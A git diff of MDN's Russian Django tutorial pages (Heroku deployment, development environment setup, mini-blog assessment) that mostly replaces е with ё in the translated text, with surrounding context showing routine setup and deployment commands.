period.">Свободный уровень будет спать с неактивным веб-приложением, если в течение получаса не будет запросов. </span><span title="The site may then take several seconds to respond when it is woken up. ">После этого сайт может занять несколько секунд, чтобы ответить, когда он проснулся.</span></span></li> - <li><span id="result_box" lang="ru"><span title='The free tier limits the time that your site is running to a certain amount of hours every month (not including the time that the site is "asleep").'>Свободный уровень ограничивает время, в течение которого ваш сайт работает до определенного количества часов каждый месяц (не включая время, когда сайт «спит»). </span><span title="This is fine for a low use/demonstration site, but will not be suitable if 100% uptime is required. + <li><span id="result_box" lang="ru"><span title='The free tier limits the time that your site is running to a certain amount of hours every month (not including the time that the site is "asleep").'>Свободный уровень ограничивает время, в течение которого ваш сайт работает до определённого количества часов каждый месяц (не включая время, когда сайт «спит»). </span><span title="This is fine for a low use/demonstration site, but will not be suitable if 100% uptime is required. ">Это нормально для сайта с низким уровнем использования / демонстрации, но не подходит, если требуется 100% время безотказной работы.</span></span></li> <li>Другие ограничения перечислены в <a href="https://devcenter.heroku.com/articles/limits">Limits</a> (документы Heroku).</li> </ul> @@ -186,7 +186,7 @@ with open('/etc/secret_key.txt') as f: ">В основном это просто работает, и если вы в конечном итоге полюбите его, масштабирование вашего приложения будет очень простым.</span></span></li> </ul> -<p><span id="result_box" lang="ru"><span title="While Heroku is perfect for hosting this demonstration it may not be perfect for your real website.">Хотя Heroku идеально подходит для проведения этой демонстрации, она может быть не идеальна для вашего реального сайта. </span><span title="Heroku makes things easy to set up and scale, at the cost of being less flexible, and potentially a lot more expensive once you get out of the free tier.">Heroku упрощает настройку и масштабирование за счет меньшей гибкости и, возможно, обойдется намного дороже, когда вы выходите из свободного уровня.</span></span></p> +<p><span id="result_box" lang="ru"><span title="While Heroku is perfect for hosting this demonstration it may not be perfect for your real website.">Хотя Heroku идеально подходит для проведения этой демонстрации, она может быть не идеальна для вашего реального сайта. </span><span title="Heroku makes things easy to set up and scale, at the cost of being less flexible, and potentially a lot more expensive once you get out of the free tier.">Heroku упрощает настройку и масштабирование за счёт меньшей гибкости и, возможно, обойдётся намного дороже, когда вы выходите из свободного уровня.</span></span></p> <h3 id="Как_работает_Heroku">Как работает Heroku?</h3> @@ -217,13 +217,13 @@ with open('/etc/secret_key.txt') as f: <h3 id="Создание_репозитория_приложения_на_Github">Создание репозитория приложения на Github</h3> -<p><span id="result_box" lang="ru"><span>Heroku тесно интегрирована с системой управления версиями исходного кода <strong>git</strong>, используя ее для загрузки / синхронизации любых изменений, которые вы вносите в живую систему.</span> <span>Он делает это, добавляя новый «удаленный» репозиторий heroku с именем heroku, указывающий на репозиторий для вашего источника в облаке Heroku.</span> <span>Во время разработки вы используете <strong>git</strong> для хранения изменений в вашем «master» репозитории.</span> <span>Когда вы хотите развернуть свой сайт, вы синхронизируете свои изменения в репозитории Heroku.</span></span></p> +<p><span id="result_box" lang="ru"><span>Heroku тесно интегрирована с системой управления версиями исходного кода <strong>git</strong>, используя её для загрузки / синхронизации любых изменений, которые вы вносите в живую систему.</span> <span>Он делает это, добавляя новый «удалённый» репозиторий heroku с именем heroku, указывающий на репозиторий для вашего источника в облаке Heroku.</span> <span>Во время разработки вы используете <strong>git</strong> для хранения изменений в вашем «master» репозитории.</span> <span>Когда вы хотите развернуть свой сайт, вы синхронизируете свои изменения в репозитории Heroku.</span></span></p> <div class="note"> <p><strong>Примечание:</strong> <span id="result_box" lang="ru"><span>Если вы привыкли следовать хорошей практике разработки программного обеспечения, вы, вероятно, уже используете git или какую-либо другую систему SCM.</span> <span>Если у вас уже есть git-репозиторий, вы можете пропустить этот шаг.</span></span></p> </div> -<p><span id="result_box" lang="ru"><span>Существует множество способов работы с git, но одним из самых простых является создание учетной записи в <a href="https://github.com/">Github</a>, создание репозитория там, а затем синхронизация с ним локально:</span></span></p> +<p><span id="result_box" lang="ru"><span>Существует множество способов работы с git, но одним из самых простых является создание учётной записи в <a href="https://github.com/">Github</a>, создание репозитория там, а затем синхронизация с ним локально:</span></span></p> <ol> <li>Посетите <a href="https://github.com/">https://github.com/</a> и создайте аккаунт.</li> @@ -296,9 +296,9 @@ Changes to be committed: <p>Когда эти операции завершатся, вернитесь на страницу Github где вы создали свой репозиторий, обновите страницу, и убедитесь, что ваше приложение полностью загружено. При надобности обновить файлы на репозитории - повторите цикл ввода команд add/commit/push.</p> <div class="note"> -<p><strong>Подсказка:</strong> Это хороший момент для создания резервной копии вашего «ванильного» проекта — в то время как некоторые изменения, которые мы собираемся сделать в следующих разделах, могут быть полезны для развертывания на любой платформе (или разработке), которые другие могут не использовать.</p> +<p><strong>Подсказка:</strong> Это хороший момент для создания резервной копии вашего «ванильного» проекта — в то время как некоторые изменения, которые мы собираемся сделать в следующих разделах, могут быть полезны для развёртывания на любой платформе (или разработке), которые другие могут не использовать.</p> -<p><em>Лучший способ</em> сделать это - использовать <em>git</em> для управления вашими изменениями. С <em>git</em> вы можете не только вернуться к определенной старой версии, но и сохранить ее в отдельной «ветке» ваших производственных изменений, and cherry-pick - выбрать любые изменения для перемещения между ветвями производства и развития. <a href="https://help.github.com/articles/good-resources-for-learning-git-and-github/">Изучение Git</a> будет стоить усилий, но это выходит за рамки данной темы. Самый простой способ сделать это - просто скопировать файлы в другое место. Используйте тот подход, который наилучшим образом соответствует вашим знаниям git!</p> +<p><em>Лучший способ</em> сделать это - использовать <em>git</em> для управления вашими изменениями. С <em>git</em> вы можете не только вернуться к определённой старой версии, но и сохранить её в отдельной «ветке» ваших производственных изменений, and cherry-pick - выбрать любые изменения для перемещения между ветвями производства и развития. <a href="https://help.github.com/articles/good-resources-for-learning-git-and-github/">Изучение Git</a> будет стоить усилий, но это выходит за рамки данной темы. Самый простой способ сделать это - просто скопировать файлы в другое место. Используйте тот подход, который наилучшим образом соответствует вашим знаниям git!</p> </div> <h3 id="Обновить_приложение_для_Heroku">Обновить приложение для Heroku </h3> @@ -311,13 +311,13 @@ Changes to be committed: <pre class="notranslate">web: gunicorn locallibrary.wsgi --log-file -</pre> -<p>«web:» сообщает Heroku, что это веб динамический и может быть отправлен HTTP-трафик. Процесс, который начнется в этом динамически, - это gunicorn, который является популярным сервером веб-приложений, который рекомендует Heroku. Мы запускаем Gunicorn, используя конфигурационную информацию в модуле locallibrary.wsgi (созданный с помощью нашего скелета приложения: /locallibrary/wsgi.py).</p> +<p>«web:» сообщает Heroku, что это веб динамический и может быть отправлен HTTP-трафик. Процесс, который начнётся в этом динамически, - это gunicorn, который является популярным сервером веб-приложений, который рекомендует Heroku. Мы запускаем Gunicorn, используя конфигурационную информацию в модуле locallibrary.wsgi (созданный с помощью нашего скелета приложения: /locallibrary/wsgi.py).</p> <h4 id="Gunicorn">Gunicorn</h4> <p><a href="http://gunicorn.org/">Gunicorn</a> рекомендуемый http сервер с Django на Heroku (Как указано в Procfile выше). Это чистый python http сервер для WSGI приложений которые могут запускать множество параллельных python процессов в пределах одного динамического (посмотрите <a href="https://devcenter.heroku.com/articles/python-gunicorn">Deploying Python applications with Gunicorn</a> для получения большей информации).</p> -<p>Также нам не понадобится <em>Gunicorn</em> для обслуживания нашей LocalLibrary приложения в течение разработки, мы установим это так, чтобы он стал частью наших требований к Heroku для настройки на удаленном сервере.</p> +<p>Также нам не понадобится <em>Gunicorn</em> для обслуживания нашей LocalLibrary приложения в течение разработки, мы установим это так, чтобы он стал частью наших требований к Heroku для настройки на удалённом сервере.</p> <p>Установка <em>Gunicorn</em> локально в командной строке используя пакетный менеджер <em>pip</em> (которые мы установили когда <a href="/en-US/docs/Learn/Server-side/Django/development_environment">настраивали среду разработки</a>):</p> @@ -330,11 +330,11 @@ Changes to be committed: <p>Механизм Heroku для обработки этой ситуации заключается в использовании <a href="https://elements.heroku.com/addons#data-stores">надстройки базы данных</a> и настройке веб-приложения с использованием информации из <a href="https://devcenter.heroku.com/articles/config-vars">переменной конфигурации среды</a>, установленной надстройкой. Существует множество опций базы данных, но мы будем использовать <a href="https://devcenter.heroku.com/articles/heroku-postgres-plans#plan-tiers">hobby уровень</a> в базе данных <em>postgres Heroku</em>, поскольку это бесплатно, поддерживается Django и автоматически добавляется в наши новые приложения Heroku при использовании бесплатного уровня динамического плана для хобби.</p> -<p>Информация о подключении базы данных предоставляется на web dyno, используя конфигурационную переменную с именем <code>DATABASE_URL</code>. Вместо того, чтобы жестко кодировать эту информацию в Django, Heroku рекомендует разработчикам использовать <a href="https://warehouse.python.org/project/dj-database-url/">dj-database-url</a> пакет для анализа <code>DATABASE_URL</code> переменную окружения и автоматически преобразовать ее в желаемый формат конфигурации Django. В дополнение к установке пакета <em>dj-database-url</em> нам также потребуется установить <a href="http://initd.org/psycopg/">psycopg2</a>, поскольку Django нуждается в этом, чтобы взаимодействовать с базами данных Postgres.</p> +<p>Информация о подключении базы данных предоставляется на web dyno, используя конфигурационную переменную с именем <code>DATABASE_URL</code>. Вместо того, чтобы жёстко кодировать эту информацию в Django, Heroku рекомендует разработчикам использовать <a href="https://warehouse.python.org/project/dj-database-url/">dj-database-url</a> пакет для анализа <code>DATABASE_URL</code> переменную окружения и автоматически преобразовать её в желаемый формат конфигурации Django. В дополнение к установке пакета <em>dj-database-url</em> нам также потребуется установить <a href="http://initd.org/psycopg/">psycopg2</a>, поскольку Django нуждается в этом, чтобы взаимодействовать с базами данных Postgres.</p> <h5 id="dj-database-url_Django_конфигурации_базы_данных_из_переменной_окружения">dj-database-url (Django конфигурации базы данных из переменной окружения)</h5> -<p>Установите dj-database-url локально, чтобы он стал частью наших требований к настройке Heroku на удаленном сервере:</p> +<p>Установите dj-database-url локально, чтобы он стал частью наших требований к настройке Heroku на удалённом сервере:</p> <pre class="notranslate">$ pip3 install dj-database-url </pre> @@ -352,14 +352,14 @@ DATABASES['default'].update(db_from_env)</pre> <p><strong>Заметка:</strong></p> <ul> - <li>Мы все еще будем использовать SQLite во время разработки, поскольку <code>DATABASE_URL</code> переменная среды не будет установлена на нашем компьютере разработки.</li> + <li>Мы все ещё будем использовать SQLite во время разработки, поскольку <code>DATABASE_URL</code> переменная среды не будет установлена на нашем компьютере разработки.</li> <li>Значение <code>conn_max_age=500</code> делает соединение постоянным, что намного эффективнее, чем воссоздавать соединение в каждом цикле запросов. Однако это необязательно и при необходимости можно удалить.</li> </ul> </div> <h5 id="psycopg2_Python_Postgres_database_support">psycopg2 (Python Postgres database support)</h5> -<p>Django нуждается в psycopg2 для работы с базами данных Postgres, и вам нужно будет добавить это в файл требований.txt для Heroku, чтобы установить это на удаленном сервере (как описано в разделе требований ниже).</p> +<p>Django нуждается в psycopg2 для работы с базами данных Postgres, и вам нужно будет добавить это в файл требований.txt для Heroku, чтобы установить это на удалённом сервере (как описано в разделе требований ниже).</p> <p>Django будет использовать нашу базу данных SQLite локально по умолчанию, поскольку переменная среды DATABASE_URL не задана в нашей локальной среде. Если вы хотите полностью перейти на Postgres и использовать нашу бесплатную базу данных Heroku для разработки и производства, то вы можете. Например, чтобы установить psycopg2 и его зависимости локально в системе на базе Linux, вы должны использовать следующие команды bash / terminal:</p> @@ -369,7 +369,7 @@ pip3 install psycopg2 <p>Инструкции по установке для других платформ можно найти на веб-сайте psycopg2.</p> -<p>Однако вам не нужно это делать - вам не нужно, чтобы PostGreSQL был активным на локальном компьютере, если вы передаете его в Heroku в качестве требования в файле требований.txt (см. Ниже).</p> +<p>Однако вам не нужно это делать - вам не нужно, чтобы PostGreSQL был активным на локальном компьютере, если вы передаёте его в Heroku в качестве требования в файле требований.txt (см. Ниже).</p> <h4 id="Обслуживание_статических_файлов_в_производстве"><strong>Обслуживание статических файлов в производстве</strong></h4> @@ -380,7 +380,7 @@ pip3 install psycopg2 <p><strong>Примечание. </strong>Обслуживание статических файлов через Django / веб-приложение неэффективно, потому что запросы должны проходить через ненужный дополнительный код (Django), а не обрабатываться непосредственно веб-сервером или полностью отдельным CDN. Хотя это не имеет значения для местного использования во время разработки, это будет иметь значительное влияние на производительность, если мы будем использовать тот же подход в производстве.</p> </div> -<p>Чтобы упростить размещение статических файлов отдельно от веб-приложения Django, Django предоставляет средство сбора данных для сбора этих файлов для развертывания (имеется переменная параметров, определяющая, где файлы должны собираться при запуске collectstatic). Шаблоны Django относятся к месту размещения статических файлов относительно переменной параметров (STATIC_URL), так что это можно изменить, если статические файлы перемещаются на другой хост / сервер.</p> +<p>Чтобы упростить размещение статических файлов отдельно от веб-приложения Django, Django предоставляет средство сбора данных для сбора этих файлов для развёртывания (имеется переменная параметров, определяющая, где файлы должны собираться при запуске collectstatic). Шаблоны Django относятся к месту размещения статических файлов относительно переменной параметров (STATIC_URL), так что это можно изменить, если статические файлы перемещаются на другой хост / сервер.</p> <p>Соответствующими параметрами настройки являются:</p> @@ -390,7 +390,7 @@ pip3 install psycopg2 <h5 id="settings.py_2">settings.py</h5> -<p>Откройте /locallibrary/settings.py и скопируйте следующую конфигурацию в нижнюю часть файла. BASE_DIR уже должен быть определен в вашем файле (STATIC_URL, возможно, уже был определен в файле, когда он был создан. В то время как это не причинит вреда, вы также можете удалить дублируемую предыдущую ссылку).</p> +<p>Откройте /locallibrary/settings.py и скопируйте следующую конфигурацию в нижнюю часть файла. BASE_DIR уже должен быть определён в вашем файле (STATIC_URL, возможно, уже был определён в файле, когда он был создан. В то время как это не причинит вреда, вы также можете удалить дублируемую предыдущую ссылку).</p> <pre class="notranslate"># Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/1.10/howto/static-files/ @@ -461,7 +461,7 @@ whitenoise==3.2.2 </pre> <div class="note"> -<p>Убедитесь, что строка <strong>psycopg2</strong>, подобная приведенной выше, присутствует! Даже если вы не установили это локально, вы должны добавить это в <strong>requirements.txt</strong>.</p> +<p>Убедитесь, что строка <strong>psycopg2</strong>, подобная приведённой выше, присутствует! Даже если вы не установили это локально, вы должны добавить это в <strong>requirements.txt</strong>.</p> </div> <h4 id="Среда_выполнения">Среда выполнения</h4> @@ -482,22 +482,22 @@ whitenoise==3.2.2 git commit -m "Added files and changes required for deployment to heroku" git push origin master</pre> -<p>Прежде чем продолжить, дайте возможность проверить сайт снова локально и убедиться, что это не повлияло ни на одно из наших изменений выше. Запустите веб-сервер разработки как обычно, а затем проверьте, работает ли сайт, как вы ожидаете в своем браузере.</p> +<p>Прежде чем продолжить, дайте возможность проверить сайт снова локально и убедиться, что это не повлияло ни на одно из наших изменений выше. Запустите веб-сервер разработки как обычно, а затем проверьте, работает ли сайт, как вы ожидаете в своём браузере.</p> <pre class="brush: bash notranslate">python3 manage.py runserver</pre> -<p>Теперь мы должны быть готовы начать развертывание LocalLibrary на Heroku.</p> +<p>Теперь мы должны быть готовы начать развёртывание LocalLibrary на Heroku.</p> <h3 id="Получить_аккаунт_в_heroku">Получить аккаунт в heroku</h3> -<p>Чтобы начать использовать Heroku, вам сначала нужно создать учетную запись:</p> +<p>Чтобы начать использовать Heroku, вам сначала нужно создать учётную запись:</p> <ul> <li>Перейдите <a href="https://www.heroku.com/">www.heroku.com</a> и нажмите <strong>SIGN UP FOR FREE</strong> кнопку.</li> - <li>Введите ваши данные, а затем нажмите <strong>CREATE FREE ACCOUNT</strong>. Вам будет предложено проверить свою учетную запись по адресу электронной почты для регистрации.</li> - <li>Нажмите ссылку активации учетной записи в электронной почте для регистрации. Вы вернетесь в свою учетную запись в веб-браузере.</li> + <li>Введите ваши данные, а затем нажмите <strong>CREATE FREE ACCOUNT</strong>. Вам будет предложено проверить свою учётную запись по адресу электронной почты для регистрации.</li> + <li>Нажмите ссылку активации учётной записи в электронной почте для регистрации. Вы вернётесь в свою учётную запись в веб-браузере.</li> <li>Введите свой пароль и нажмите <strong>SET PASSWORD AND LOGIN</strong>.</li> - <li>Затем вы войдете в систему и попадете в приборную панель Heroku: <a href="https://dashboard.heroku.com/apps">https://dashboard.heroku.com/apps</a>.</li> + <li>Затем вы войдёте в систему и попадёте в приборную панель Heroku: <a href="https://dashboard.heroku.com/apps">https://dashboard.heroku.com/apps</a>.</li> </ul> <h3 id="Установка_клиента">Установка клиента</h3> @@ -511,19 +511,19 @@ git push origin master</pre> <h3 id="Создание_и_загрузка_веб-сайта">Создание и загрузка веб-сайта</h3> -<p>Чтобы создать приложение, мы запускаем команду «create» в корневом каталоге нашего репозитория. Это создает git remote («указатель на удаленный репозиторий»), названный heroku в нашей локальной среде git.</p> +<p>Чтобы создать приложение, мы запускаем команду «create» в корневом каталоге нашего репозитория. Это создаёт git remote («указатель на удалённый репозиторий»), названный heroku в нашей локальной среде git.</p> <pre class="brush: bash notranslate">heroku create</pre> <div class="note"> -<p><strong>Заметка:</strong> Вы можете назвать удаленный, если хотите, указав значение после «create». Если вы этого не сделаете, вы получите случайное имя. Имя используется в URL-адресе по умолчанию.</p> +<p><strong>Заметка:</strong> Вы можете назвать удалённый, если хотите, указав значение после «create». Если вы этого не сделаете, вы получите случайное имя. Имя используется в URL-адресе по умолчанию.</p> </div> <p>Затем мы можем подтолкнуть наше приложение в репозиторий heroku как показано ниже. Это позволит загрузить приложение, упаковать его в dyno, запустить collectstatic, и запустить сам сайт.</p> <pre class="brush: bash notranslate">git push heroku master</pre> -<p>Если нам повезет, приложение «заработает» на сайте, но оно не будет работать должным образом, потому что мы не настроили таблицы базы данных для использования нашим приложением. Для этого нам нужно использовать команду <code>heroku run</code> и запустить "<a href="https://devcenter.heroku.com/articles/deploying-python#one-off-dynos">one off dyno</a>" для выполнения операции переноса. Введите в терминал следующую команду:</p> +<p>Если нам повезёт, приложение «заработает» на сайте, но оно не будет работать должным образом, потому что мы не настроили таблицы базы данных для использования нашим приложением. Для этого нам нужно использовать команду <code>heroku run</code> и запустить "<a href="https://devcenter.heroku.com/articles/deploying-python#one-off-dynos">one off dyno</a>" для выполнения операции переноса. Введите в терминал следующую команду:</p> <pre class="brush: bash notranslate">heroku run python manage.py migrate</pre> @@ -531,7 +531,7 @@ git push origin master</pre> <pre class="brush: bash notranslate">heroku run python manage.py createsuperuser</pre> -<p>Как только это будет завершено, мы можем посмотреть сайт. Он должен работать, хотя в нем еще нет книг. Чтобы открыть браузер на новом веб-сайте, используйте команду:</p> +<p>Как только это будет завершено, мы можем посмотреть сайт. Он должен работать, хотя в нем ещё нет книг. Чтобы открыть браузер на новом веб-сайте, используйте команду:</p> <pre class="brush: bash notranslate">heroku open</pre> @@ -539,7 +539,7 @@ git push origin master</pre> <h3 id="Управление_аддонами">Управление аддонами</h3> -<p>Вы можете проверить дополнения в своем приложении, используя <code>heroku addons</code> команду. Это будет список всех аддонов, их ценовая категория и состояние.</p> +<p>Вы можете проверить дополнения в своём приложении, используя <code>heroku addons</code> команду. Это будет список всех аддонов, их ценовая категория и состояние.</p> <pre class="brush: bash notranslate">>heroku addons @@ -548,7 +548,7 @@ Add-on Plan Price State heroku-postgresql (postgresql-flat-26536) hobby-dev free created └─ as DATABASE</pre> -<p>Здесь мы видим, что у нас есть только одна надстройка, база данных postgres SQL. Это бесплатно и автоматически создается при создании приложения. Вы можете открыть веб-страницу, чтобы более подробно изучить надстройку базы данных (или любое другое дополнение), используя следующую команду:</p> +<p>Здесь мы видим, что у нас есть только одна надстройка, база данных postgres SQL. Это бесплатно и автоматически создаётся при создании приложения. Вы можете открыть веб-страницу, чтобы более подробно изучить надстройку базы данных (или любое другое дополнение), используя следующую команду:</p> <pre class="brush: bash notranslate">heroku addons:open heroku-postgresql </pre> @@ -564,7 +564,7 @@ heroku-postgresql (postgresql-flat-26536) hobby-dev free created === locallibrary Config Vars DATABASE_URL: postgres://uzfnbcyxidzgrl:j2jkUFDF6OGGqxkgg7Hk3ilbZI@ec2-54-243-201-144.compute-1.amazonaws.com:5432/dbftm4qgh3kda3</pre> -<p>Если вы вспомните из раздела, посвященного <a href="#Getting_your_website_ready_to_publish">getting the website ready to publish</a>, мы должны установить переменные среды для <code>DJANGO_SECRET_KEY</code> и <code>DJANGO_DEBUG</code>. Давайте сделаем это сейчас.</p> +<p>Если вы вспомните из раздела, посвящённого <a href="#Getting_your_website_ready_to_publish">getting the website ready to publish</a>, мы должны установить переменные среды для <code>DJANGO_SECRET_KEY</code> и <code>DJANGO_DEBUG</code>. Давайте сделаем это сейчас.</p> <div class="note"> <p><strong>Заметка:</strong> Секретный ключ должен быть действительно секретным! Один из способов генерации нового ключа - создать новый проект Django (<code>django-admin startproject someprojectname</code>) а затем получить ключ, который генерируется для вас в его <strong>settings.py</strong>.</p> diff --git a/files/ru/learn/server-side/django/development_environment/index.html b/files/ru/learn/server-side/django/development_environment/index.html index fa1d2f14c7..6fc9ed97a5 100644 --- a/files/ru/learn/server-side/django/development_environment/index.html +++ b/files/ru/learn/server-side/django/development_environment/index.html @@ -24,11 +24,11 @@ translation_of: Learn/Server-side/Django/development_environment <h2 id="Обзор_среды_разработки_Django">Обзор среды разработки Django</h2> -<p>Django упрощает настройку собственного компьютера, чтобы вы могли начать разработку веб-приложений. В этом разделе объясняется, что входит в состав среды разработки, и дается обзор некоторых параметров настройки и конфигурации. В оставшейся части статьи объясняется рекомендуемый метод установки среды разработки Django на Ubuntu, Mac OS X и Windows, и как вы можете ее протестировать.</p> +<p>Django упрощает настройку собственного компьютера, чтобы вы могли начать разработку веб-приложений. В этом разделе объясняется, что входит в состав среды разработки, и даётся обзор некоторых параметров настройки и конфигурации. В оставшейся части статьи объясняется рекомендуемый метод установки среды разработки Django на Ubuntu, Mac OS X и Windows, и как вы можете её протестировать.</p> <h3 id="Что_такое_среда_разработки_Django">Что такое среда разработки Django?</h3> -<p>Среда разработки - это установка Django на вашем локальном компьютере, которую вы можете использовать для разработки и тестирования приложений Django до их развертывания в производственной среде.<br> +<p>Среда разработки - это установка Django на вашем локальном компьютере, которую вы можете использовать для разработки и тестирования приложений Django до их развёртывания в производственной среде.<br> <br> Основными инструментами, которые предоставляет сам Django, является набор скриптов Python для создания и работы с проектами Django, а также простой веб-сервер <em>разработки</em>, который можно использовать для тестирования локальных (то есть на вашем компьютере, а не на внешнем веб-сервере) веб-приложений Django на веб-браузере вашего компьютера.<br> <br> @@ -81,7 +81,7 @@ translation_of: Learn/Server-side/Django/development_environment <p>Django поддерживает 4 основных базы данных (PostgreSQL, MySQL, Oracle и SQLite), также есть публичные библиотеки, которые предоставляют разные уровни поддержки других SQL и NoSQL баз данных. Мы рекомендуем вам выбрать одинаковую БД для обеих рабочей и разрабатываемой сред (несмотря на то, что Django нивелирует множество различий баз данных при помощи Object-Relational Mapper (ORM), все равно возможны потенциальные <a href="https://docs.djangoproject.com/en/2.0/ref/databases/">проблемы</a>, которых лучше избегать.</p> -<p>Для данной статьи (и большей части модуля) мы будем использовать базу данных <em>SQLite</em>, которая сохраняет свои данные в файл. SQLite предназначен для использования в качестве облегченной базы данных и не может поддерживать высокий уровень параллелизма. Это, однако, отличный выбор для приложений, которые в основном предназначены только для чтения.</p> +<p>Для данной статьи (и большей части модуля) мы будем использовать базу данных <em>SQLite</em>, которая сохраняет свои данные в файл. SQLite предназначен для использования в качестве облегчённой базы данных и не может поддерживать высокий уровень параллелизма. Это, однако, отличный выбор для приложений, которые в основном предназначены только для чтения.</p> <div class="note"> <p><strong>Замечание</strong>: Django сконфигурирован для использования SQLite по умолчанию, при создании вашего проекта с использованием стандартных инструментов (django-admin). Это отличный выбор для начала работы, потому что он не требует дополнительной настройки.</p> @@ -166,7 +166,7 @@ translation_of: Learn/Server-side/Django/development_environment <li>Установите Python, дважды кликнув на скачанный файл и следуя инструкциям по установке.</li> </ol> -<p>После этого вы сможете подтвердить успешную установку Python путем выполнения следующего текста в командной строке:</p> +<p>После этого вы сможете подтвердить успешную установку Python путём выполнения следующего текста в командной строке:</p> <pre class="notranslate">py -3 -V Python 3.5.2 @@ -183,7 +183,7 @@ translation_of: Learn/Server-side/Django/development_environment <h2 id="Использование_Django_внутри_виртуальной_среды_Python">Использование Django внутри виртуальной среды Python</h2> -<p>Для создания виртуальных сред мы будем использовать библиотеки <a href="https://virtualenvwrapper.readthedocs.io/en/latest/index.html">virtualenvwrapper</a> (Linux и macOS X) и <a href="https://pypi.python.org/pypi/virtualenvwrapper-win">virtualenvwrapper-win</a> (Windows), которые в свою очередь обе используют инструмент <a href="https://developer.mozilla.org/en-US/docs/Python/Virtualenv">virtualenv</a>. Инструмент обертки предоставляет совместимый интерфейс для управления интерфейсами на всех платформах.</p> +<p>Для создания виртуальных сред мы будем использовать библиотеки <a href="https://virtualenvwrapper.readthedocs.io/en/latest/index.html">virtualenvwrapper</a> (Linux и macOS X) и <a href="https://pypi.python.org/pypi/virtualenvwrapper-win">virtualenvwrapper-win</a> (Windows), которые в свою очередь обе используют инструмент <a href="https://developer.mozilla.org/en-US/docs/Python/Virtualenv">virtualenv</a>. Инструмент обёртки предоставляет совместимый интерфейс для управления интерфейсами на всех платформах.</p> <h3 id="Установка_ПО_виртуальной_среды">Установка ПО виртуальной среды</h3> @@ -260,7 +260,7 @@ nano .bash_profile # Open the file in the nano text editor, within the terminal </pre> </div> -<p>После этого перезагрузите файл загрузки путем выполнения следующей команды в терминале:</p> +<p>После этого перезагрузите файл загрузки путём выполнения следующей команды в терминале:</p> <pre class="notranslate"><code>source ~/.bash_profile</code> </pre> @@ -271,7 +271,7 @@ nano .bash_profile # Open the file in the nano text editor, within the terminal <h4 id="Установка_виртуальной_среды_для_Windows_10">Установка виртуальной среды для Windows 10</h4> -<p>Установка <a href="https://pypi.python.org/pypi/virtualenvwrapper-win">virtualenvwrapper-win</a> еще более проста, чем установка <em>virtualenvwrapper</em>, потому что вам не нужно настраивать расположения сохранения информации о виртуальной среде инструментом (эти значения заданы по умолчанию). Все, что вам нужно сделать, это запустить следующую команду в командной строке:</p> +<p>Установка <a href="https://pypi.python.org/pypi/virtualenvwrapper-win">virtualenvwrapper-win</a> ещё более проста, чем установка <em>virtualenvwrapper</em>, потому что вам не нужно настраивать расположения сохранения информации о виртуальной среде инструментом (эти значения заданы по умолчанию). Все, что вам нужно сделать, это запустить следующую команду в командной строке:</p> <pre class="notranslate"><code>pip3 install virtualenvwrapper-win</code></pre> @@ -296,7 +296,7 @@ virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/t_env7/bin/get <h3 id="Использование_виртуальной_среды">Использование виртуальной среды</h3> -<p>Есть еще несколько полезных команд, которые вам следует знать (в документации по инструменту их гораздо больше, но эти вы будете использовать регулярно):</p> +<p>Есть ещё несколько полезных команд, которые вам следует знать (в документации по инструменту их гораздо больше, но эти вы будете использовать регулярно):</p> <ul> <li><code>deactivate</code> — Выход из текущей виртуальной среды Python</li> @@ -307,7 +307,7 @@ virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/t_env7/bin/get <h2 id="Установка_Django">Установка Django</h2> -<p>После создания виртуальной среды и вызова <code>workon</code> для входа в нее вы можете использовать <em>pip3 </em>для установки Django. </p> +<p>После создания виртуальной среды и вызова <code>workon</code> для входа в неё вы можете использовать <em>pip3 </em>для установки Django. </p> <pre class="notranslate">pip3 install django </pre> @@ -333,13 +333,13 @@ py -3 -m django --version <h2 id="Проверка_вашей_установки">Проверка вашей установки</h2> -<p>Указанная выше проверка работает, но не представляет особого интереса.Более интересная проверка заключается в создании шаблона проекта и проверки его работы. Для ее выполнения перейдите в командной строке/терминале в место, где планируете сохранять приложения Django. Создайте папку для теста и перейдите в нее.</p> +<p>Указанная выше проверка работает, но не представляет особого интереса.Более интересная проверка заключается в создании шаблона проекта и проверки его работы. Для её выполнения перейдите в командной строке/терминале в место, где планируете сохранять приложения Django. Создайте папку для теста и перейдите в нее.</p> <pre class="notranslate">mkdir django_test cd django_test </pre> -<p>Затем вы можете создать шаблон сайта "<em>mytestsite</em>" при помощи инструмента <strong>django-admin</strong>. После создания сайта вы можете перейти в папку, где найдете основной скрипт для управления проектами с именем <strong>manage.py</strong>.</p> +<p>Затем вы можете создать шаблон сайта "<em>mytestsite</em>" при помощи инструмента <strong>django-admin</strong>. После создания сайта вы можете перейти в папку, где найдёте основной скрипт для управления проектами с именем <strong>manage.py</strong>.</p> <pre class="notranslate">django-admin startproject mytestsite cd mytestsite</pre> @@ -392,7 +392,7 @@ Quit the server with CONTROL-C. <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Authentication">Руководство Django Часть 8: Авторизация пользователей и уровни доступа</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Forms">Руководство Django Часть 9: Работа с формами</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Testing">Руководство Django Часть 10: Тестирование веб-приложений Django</a></li> - <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Deployment">Руководство Django Часть 11: Развертывание Django в производство</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Deployment">Руководство Django Часть 11: Развёртывание Django в производство</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/web_application_security">Безопасность веб-приложения Django</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/django_assessment_blog">DIY Мини-блог на Django</a></li> </ul> diff --git a/files/ru/learn/server-side/django/django_assessment_blog/index.html b/files/ru/learn/server-side/django/django_assessment_blog/index.html index 22a248eae6..7fec548a29 100644 --- a/files/ru/learn/server-side/django/django_assessment_blog/index.html +++ b/files/ru/learn/server-side/django/django_assessment_blog/index.html @@ -140,7 +140,7 @@ translation_of: Learn/Server-side/Django/django_assessment_blog <td>Admin site</td> <td><code>/admin/<em><standard urls></em></code></td> <td> - <p>Админ-сайт должен быть включен, чтобы разрешить создание / редактирование / удаление сообщений в блогах, авторов блога и комментариев блога (это механизм для создания блогеров в блогах):</p> + <p>Админ-сайт должен быть включён, чтобы разрешить создание / редактирование / удаление сообщений в блогах, авторов блога и комментариев блога (это механизм для создания блогеров в блогах):</p> <ul> 